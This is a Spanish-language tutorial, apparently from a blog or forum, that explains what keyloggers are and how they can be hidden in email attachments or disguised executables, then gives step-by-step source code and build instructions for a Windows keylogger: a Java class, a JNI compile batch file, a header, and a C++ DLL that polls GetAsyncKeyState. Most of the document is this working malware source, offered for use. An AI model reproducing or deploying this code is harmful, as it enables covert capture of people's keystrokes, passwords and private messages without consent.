KEYLOGGERS

Un keylogger, también llamado capturador de teclas, es un software o hardware instalado en un ordenador que tiene la capacidad de registrar y memorizar todo lo que se teclee en el teclado que va unido a dicho ordenador. Todo lo tecleado se envía a un fichero que puede ser recuperado de forma manual o de forma clandestina a la personas que instalo el keylogger sin el consentimiento del dueño del ordenador.

Cuando el objetivo del keylogger es un ordenador remoto sin un acceso directo, el keylogger puede ser enviado para su instalación sin que sepamos nada integrándolo en un programa cualquiera, un anexo a un email, o cualquier ejecutable disfrazado que se nos pueda ocurrir. Elsoftware básico de un keylogger realmente solo se compone de unas cuantas líneas de código y normalmente opera de tal forma que es indetectable en muchos casos. Esto lo hace muy peligroso si usamos nuestro sistema para temas laborales o uso personal.

 

CODIGO FUENTE DE UN KEYLOGGER.

Necesitas los archivos:

jni_md.h

jni.h

Los cuales incluiran en  el directorio “C:\Archivos de programa\Dev-Cpp\include”

Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Keylogger extends Thread {
    private boolean   running=true;
    private int       value =0
    private native int get();  
    static {
        System.loadLibrary("Keylogger");   
        /**
         * Carga de la DLL     
         */
        }  
    @Override
    public synchronized void run(){        
            while(running){
                    value = get();
                    /**
                     * Optenemos la Tecla Precionada
                     */
                    System.out.println((char)value);
                    /**
                     * La Mostramos en la Salida Estandar  
                     */
                    }
            }
 
    }

Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

1
2
3
4
5
6
7
8
9
10
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
 
pause
echo.
exit

Paso 3:  Generando el . Class y la Cabecera .h

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola
javac Keylogger.java
javah -jni Keylogger

Tienes que tener algun JDK

Paso 4:  Generando la DLL

Abrimos el DEV++
File—>New—->Project—>DLL

[img]http://r.i.elhacker.net/cache?url=http://s4.subirimagenes.com/privadas/940888im.png[/img]

Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
    #endif
    #undef Keylogger_MIN_PRIORITY
    #define Keylogger_MIN_PRIORITY 1L
    #undef Keylogger_NORM_PRIORITY
    #define Keylogger_NORM_PRIORITY 5L
    #undef Keylogger_MAX_PRIORITY
    #define Keylogger_MAX_PRIORITY 10L
    #undef Keylogger_DELAY
    #define Keylogger_DELAY 20L
    /** Class: Keylogger
     * Method:    get
     * Signature: ()I
     */
     
    JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
    #ifdef __cplusplus
    }
    #endif
    #endif

Si da problemas
Este archivo tiene que estar en C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
 JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
  while(true){
        for(int c=8;c<=222;c++){
         if(GetAsyncKeyState(c)==-32767)
            return c;  
        }        
     Sleep(30);  
     }
}

Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

1
2
3
4
5
public class Main {
    public static void main(String[] args) {
    new Keylogger().start();
    }
}